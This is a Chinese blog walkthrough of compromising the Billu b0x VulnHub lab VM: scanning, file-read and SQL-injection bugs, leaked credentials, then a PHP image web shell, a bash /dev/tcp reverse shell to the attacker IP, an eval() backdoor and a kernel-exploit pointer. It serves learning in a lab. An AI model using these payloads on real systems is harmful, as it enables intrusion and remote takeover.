前言 因为之前都在学习代码审计比较多,然后对渗透测试这一块实在是没什么了解,之前本科的时候想要学习过,但是那个时候设备太菜了,同时运行靶机和攻击机实在是有点卡得吃不消。现在趁着这两天稍微轻松点,所以学习一点简单的渗透知识。
这次采用的靶机是vulnhub上的Billu靶机,可以在这里下载: https://www.vulnhub.com/entry/billu-b0x,188/ 。
下载后是一个ova文件,导入vmware或是virtual box,记得把网络连接改为DHCP
模式即可。
实验靶机 靶机 :Billu
攻击机 : Kali 2020.02,这个版本的kali和前几年的相比,感觉在UI方面改进了好多,对密码也进行了修改,变成了kali:kali
,没想到的是去掉了root用户,具体的可以参考官方链接: https://www.kali.org/docs/introduction/default-credentials/ 。
主机和靶机的网络都采用DHCP
模式,位于同一局域网下。
信息收集 当前的攻击机的ip地址为192.168.247.210
,所以我们要扫描的网络范围可以确定为192.168.247.1/24
:
这里收集主机信息可以用metasploit
或是更为强大的nmap
。
目标主机探测 在Metasploit中也存在一些模块可以用于主机探测,这些模块位于Metasploit源码的modules/auxiliary/scanner/discovery
路径下,主要有这么几个:
这里可能第一个和最后一个用的比较多:
arp_sweep : 使用arp请求枚举本地局域网络中的所有活跃主机
udp_sweep : 通过发送udp数据包探测指定主机是否处于活跃状态,并发现主机上的udp服务
因为要先确定靶机的ip地址,所以可以用auxiliary/scanner/discovery/arp_sweep
探测:
1 2 3 4 5 6 7 8 9 10 11 12 13 msf5 > use auxiliary/scanner/discovery/arp_sweep msf5 auxiliary(scanner/discovery/arp_sweep) > show options Module options (auxiliary/scanner/discovery/arp_sweep): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' SHOST no Source IP Address SMAC no Source MAC Address THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 5 yes The number of seconds to wait for new data
新版的kali默认不是root用户,这个需要root权限。
但是arp_sweep 只能探测同一子网中的主机,对于远程的网络,nmap 是更好的选择。
nmap 命令格式为:
常用的nmap扫描类型参数
有:
1 2 3 4 5 6 -sT: TCP connect扫描,类似Metasploit中的tcp扫描模块 -sS: TCP SYN扫描,类似Metasploit中的syn扫描模块 -sF/-sX/-sN: 这些扫描通过发送一些特殊的标志位以避开设备或软件的检测 -sP: 通过发送ICMP echo请求来探测主机是否存活,原理通ping -sU: 探测目标主机开放了哪些UDP端口 -sA: TCP ACK扫描,类似Metasploit中的ack扫描模块
常用的nmap扫描选项
有:
1 2 3 4 -Pn: 在扫描之前,不发送ICMP echo请求测试目标是否存活 -O: 启用对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息 -F: 快速扫描模式,只扫描在nmap-services中列出的端口 -p<端口范围>: 可以使用这个参数指定希望扫描的端口(如-p1080),也可以使用一段端口范围(例如1-1023)
直接用nmap -sP 192.168.247.1/24
进行扫描:
可以发现目标主机的ip为192.168.247.211
。
主机服务信息探测 1 nmap -p1-65535 -A 192.168.247.211 -oN billu.txt
其中-A
表示获取详细的操作系统信息,-oN
表示保存扫描结果到某个文件,这里是billu.txt
:
扫描后发现开启了两个服务,一个apache
,另一个ssh
服务:
1 2 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
漏洞挖掘 在目标主机的80端口上有网站服务,访问后看到是一个登录界面:
从提示看是要考察sql注入。到这里先捋一下思路。
渗透测试中的漏洞挖掘部分主要有这么几个流程,主要参考红日安全的这篇文章 :
SQL注入:看看能不能有什么办法能够成功注入
爆破目录:用Dirbuster可以爆破网页和目录,dirb可以爆破目录,这一步可以收集到一些信息
漏洞扫描:上一步爆破的结果,喂给AWVS或是APPScan扫描,看看有没有漏洞
手动挖掘:如果扫描不到什么有价值的漏洞,可以通过burp抓包,在burp中进行分析
查看网页源码:看看有没有什么提示
如果能得到用户名,密码,尝试登录ssh,如果能连接成功,则无需反弹shell
第一步:SQL注入 最先尝试下万能密码:
登录失败,跳出一个弹窗:
拿sqlmap试一下,稍微介绍下sqlmap的参数选项:
-u : 目标URL–data : 这个参数表示以POST方式提交请求数据–level : 表示探测等级,默认为1,失sqlmap使用的payload可以在xml/payloads.xml中看到,当–level的参数设定为2或者是2以上的时候,会尝试注入Cookie 参数; 当–level参数设定为3或者3以上的时候,会尝试对User-Agent 进行注入;当无法确定哪个payload或者参数为注入点的时候,可以直接使用最高的level–dbms : 表示指定的数据库,不过默认情况下sqlmap会自己进行探测
所以需要先尝试登录获取一些post请求参数字段:
请求的form表单需要三个参数:un
,ps
和login
:
1 sqlmap -u "http://192.168.247.211" --data "un=admin&ps=admin&login=let%27+login" --level 3 --dbms mysql
但是注入失败:
第二步:爆破目录 因为登录失败,爆破一下目录看看有没有其他的网页可以作为入口,这里用Kali中的DirBuster
。
从扫描结果中可以看到网页信息:
1 2 3 4 5 6 7 8 /index.php /in.php /c.php /show.php /add.php /test.php /head.php /panel.php
以及目录信息:
扫描目录还可以用dirb
:
1 dirb "http://192.168.247.211" /usr/share/dirb/wordlists/big.txt
这里发现了Dirbuster
没扫出来的一个很重要的目录:/phpmy
,根据名字,这非常有可能是phpmyadmin的目录,最后的目录为:
1 2 3 4 5 6 /images /icons /doc /icons/small /uploaded_images /phpmy
第三步:访问页面 在访问test.php
的时候发现回显,接受一个参数file
,看上去应该是文件包含漏洞:
但是不知道是get方式还是post方式,都试一下,当采用get请求时,返回了当前页面,再试一下post请求方式:
1 2 3 4 /test.php POST: file=/etc/passwd
果然存在文件包含,顺便从/etc/passwd
可以看到存在用户ica
,但是登录密码是什么还是未知。
那可以来读取一下之前爆破出的网页的源码。
test.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php function file_download ($download) { if (file_exists($download)) { header("Content-Description: File Transfer" ); header('Content-Transfer-Encoding: binary' ); header('Expires: 0' ); header('Cache-Control: must-revalidate, post-check=0, pre-check=0' ); header('Pragma: public' ); header('Accept-Ranges: bytes' ); header('Content-Disposition: attachment; filename="' .basename($download).'"' ); header('Content-Length: ' . filesize($download)); header('Content-Type: application/octet-stream' ); ob_clean(); flush(); readfile ($download); } else { echo "file not found" ; } } if (isset ($_POST['file' ])){ file_download($_POST['file' ]); } else {echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ' ;}
在test.php
的第20行用readfile()
实现了任意文件读取。
in.php
是一个打印phpinfo
的文件:
顺便收集到一些phpinfo信息:
1 2 3 4 5 6 7 8 php version: PHP Version 5.3.10 disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority document_root: /var/www
然后发现在panel.php
文件中存在一个任意文件包含漏洞(第50行):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php session_start(); include ('c.php' );include ('head2.php' );if (@$_SESSION['logged' ]!=true ){ header('Location: index.php' , true , 302 ); exit (); } echo "Welcome to billu b0x " ;echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>' ;if (isset ($_POST['lg' ])){ unset ($_SESSION['logged' ]); unset ($_SESSION['admin' ]); header('Location: index.php' , true , 302 ); } echo '<hr><br>' ;echo '<form method=post> <select name=load> <option value="show">Show Users</option> <option value="add">Add User</option> </select>  <input type=submit name=continue value="continue"></form><br><br>' ;if (isset ($_POST['continue' ])){ $dir=getcwd(); $choice=str_replace('./' ,'' ,$_POST['load' ]); if ($choice==='add' ) { include ($dir.'/' .$choice.'.php' ); die (); } if ($choice==='show' ) { include ($dir.'/' .$choice.'.php' ); die (); } else { include ($dir.'/' .$_POST['load' ]); } } if (isset ($_POST['upload' ])){ $name=mysqli_real_escape_string($conn,$_POST['name' ]); $address=mysqli_real_escape_string($conn,$_POST['address' ]); $id=mysqli_real_escape_string($conn,$_POST['id' ]); if (!empty ($_FILES['image' ]['name' ])) { $iname=mysqli_real_escape_string($conn,$_FILES['image' ]['name' ]); $r=pathinfo($_FILES['image' ]['name' ],PATHINFO_EXTENSION); $image=array ('jpeg' ,'jpg' ,'gif' ,'png' ); if (in_array($r,$image)) { $finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image' ]['tmp_name' ]); if (preg_match('/image\/jpeg/' ,$filetype ) || preg_match('/image\/png/' ,$filetype ) || preg_match('/image\/gif/' ,$filetype )) { if (move_uploaded_file($_FILES['image' ]['tmp_name' ], 'uploaded_images/' .$_FILES['image' ]['name' ])) { echo "Uploaded successfully " ; $update='insert into users(name,address,image,id) values(\'' .$name.'\',\'' .$address.'\',\'' .$iname.'\', \'' .$id.'\')' ; mysqli_query($conn, $update); } } else { echo "<br>i told you dear, only png,jpg and gif file are allowed" ; } } else { echo "<br>only png,jpg and gif file are allowed" ; } } } ?>
先是校验上传的文件的后缀名,只能是这四种'jpeg','jpg','gif','png'
之一。然后再通过@$finfo->file($_FILES['image']['tmp_name']);
获取上传的文件的Content-Type
,对其进行校验,这里仅支持三种类型:image/jpeg
,image/png
和image/gif
。并且可以知道上传的文件被保存在目录uploaded_images
下。
发现c.php
是负责进行数据库连接的,这里泄露了数据库的账户信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header('X-Frame-Options: SAMEORIGIN' ); header( 'Server:testing only' ); header( 'X-Powered-By:testing only' ); ini_set( 'session.cookie_httponly' , 1 ); $conn = mysqli_connect("127.0.0.1" ,"billu" ,"b0x_billu" ,"ica_lab" ); if (mysqli_connect_errno()) { echo "connection failed -> " . mysqli_connect_error(); } ?>
mysqli_connect
函数是mysqli::__construct()
函数的别名:
第2个参数和第3个参数分别是登录数据库的账号和密码,所以得到了登录数据库的账号密码:
1 2 username: billu password: b0x_billu
看看能不能登录phpmyadmin,访问http://192.168.247.211/phpmy
:
成功登录了。这样我们就得到了明文存储的账号密码:
1 2 username: biLLu password: hEx_it
在index.php
页面的源码中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php session_start(); include ('c.php' );include ('head.php' );if (@$_SESSION['logged' ]!=true ){ $_SESSION['logged' ]='' ; } if ($_SESSION['logged' ]==true && $_SESSION['admin' ]!='' ){ echo "you are logged in :)" ; header('Location: panel.php' , true , 302 ); } else { echo '<div align=center style="margin:30px 0px 0px 0px;"> <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br> Show me your SQLI skills <br> <form method=post> Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br> <input type=submit name=login value="let\'s login">' ;} if (isset ($_POST['login' ])){ $uname=str_replace('\'' ,'' ,urldecode($_POST['un' ])); $pass=str_replace('\'' ,'' ,urldecode($_POST['ps' ])); $run='select * from auth where pass=\'' .$pass.'\' and uname=\'' .$uname.'\'' ; $result = mysqli_query($conn, $run); if (mysqli_num_rows($result) > 0 ) { $row = mysqli_fetch_assoc($result); echo "You are allowed<br>" ; $_SESSION['logged' ]=true ; $_SESSION['admin' ]=$row['username' ]; header('Location: panel.php' , true , 302 ); } else { echo "<script>alert('Try again');</script>" ; } } echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> " ;?>
其中与sql相关的关键代码为:
1 2 3 4 $uname=str_replace('\'' ,'' ,urldecode($_POST['un' ])); $pass=str_replace('\'' ,'' ,urldecode($_POST['ps' ])); $run='select * from auth where pass=\'' .$pass.'\' and uname=\'' .$uname.'\'' ; $result = mysqli_query($conn, $run);
程序会调用str_replace
将username和password中的'
字符都替换为''
,在本地测试了下,传入的admin' or '1'='1
中的'
全部都被替换为空字符串了:
因为pass
在查询的and语句的前半部分,所以可以通过先注释掉pass的'
来闭合:
所以如果要进行sql注入,那payload就是:
经过测试,这样是可以成功登录的。
任意文件读取漏洞那里还可以读取phpmyadmin
的配置文件,默认为/var/www/phpmy/config.inc.php
:
$cfg['Servers'][$i]['user']
:MySQL连接用户$cfg['Servers'][$i]['password']
:登录密码
得到了用户登录mysql的账户密码root : roottoor
。
尝试用这个登录ssh,登录成功!
get shell 上传shell 先利用之前获得的账号密码biLLu : hEx_it
登录网站http://192.168.247.211
:
在上面的选项框中有两个选择:Show Users
和Add User
。前面也说过,在panel.php
文件中存在一个文件包含漏洞:
这里$_POST['load']
是完全可控的,可以包含任意的文件,比如令load=../../../etc/passwd
:
然后panel.php
中又包含图片上传功能,所以我们的目标就是上传一个图片马,然后用任意文件包含给它包含进来。
先在本地随便新建一个图片,因为前面会判断图片的类型,所以这里就直接用jpg的文件头FFD8FFE
创建了一个图片,然后在末尾追加一句话木马:
1 2 3 4 5 kali@kali:~/Pictures$ rm evil.jpg kali@kali:~/Pictures$ echo 'FFD8FFEo' | xxd -r -p > evil.jpg kali@kali:~/Pictures$ echo '<?php system($_GET['cmd']);?>' >> evil.jpg kali@kali:~/Pictures$ cat evil.jpg ���<?php system($_GET[cmd]);?>
创建jpg图片使用的命令为xxd -r -p
,可以把纯十六进制转储为二进制文件。
上传后的图片马被保存在/uploaded_images
文件夹下:
所以加下来利用panel.php
中的文件包含漏洞将该文件包含进来:
1 2 3 4 5 url: /panel.php?cmd=ls POST: load=../../../var/www/uploaded_images/evil.jpg&continue=continue
反弹shell 然后通过反弹shell进一步控制目标主机:
1 echo "bash -i >& /dev/tcp/192.168.247.210/23333 0>&1" | bash
url编码一下再请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /panel.php?cmd=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%34%37%2e%32%31%30%2f%32%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68 HTTP/1.1 Host: 192.168.247.211 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.247.211/panel.php Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: close Cookie: PHPSESSID=b7uv2mvjig2lrs6v4n8s71qad5 Upgrade-Insecure-Requests: 1 load=../../../var/www/uploaded_images/evil.jpg&continue=continue
获得了靶机的bash:
接着找一个具有写权限的目录,写入木马:
1 2 3 4 5 6 7 8 9 10 11 12 www-data@indishell:/var/www$ cd uploaded_images cd uploaded_images www-data@indishell:/var/www/uploaded_images$ echo '<?php eval($_POST[1]);?>' >> shell.php </uploaded_images$ echo '<?php eval($_POST[1]);?>' >> shell.php www-data@indishell:/var/www/uploaded_images$ ls ls 3.jpg CaptBarbossa.JPG c.JPG evil.jpg jack.jpg shell.php
写入木马之后,可以连接蚁剑。
提升权限 查看当前的内核版本及系统版本:
1 2 3 4 5 6 www-data@indishell:/var/www/uploaded_images$ uname -r uname -r 3.13.0-32-generic www-data@indishell:/var/www/uploaded_images$ cat /etc/issue cat /etc/issue Ubuntu 12.04.5 LTS \n \l
然后网上搜索一下本地提权的exp:https://www.exploit-db.com/exploits/37292/ 。
对其进行编译,执行就可以实现本地提权。
总结 这次的靶机里面涉及到的代码审计这一块还是相对比较简单的,然后在爆破目录这里,从这个靶机来看,用Disbuster
没有爆出phpmy
目录还是有点坑,而且花费的时间也不少,一方面可能是字典比较小,另一方面可能爆目录的时候最好还是使用dirb
。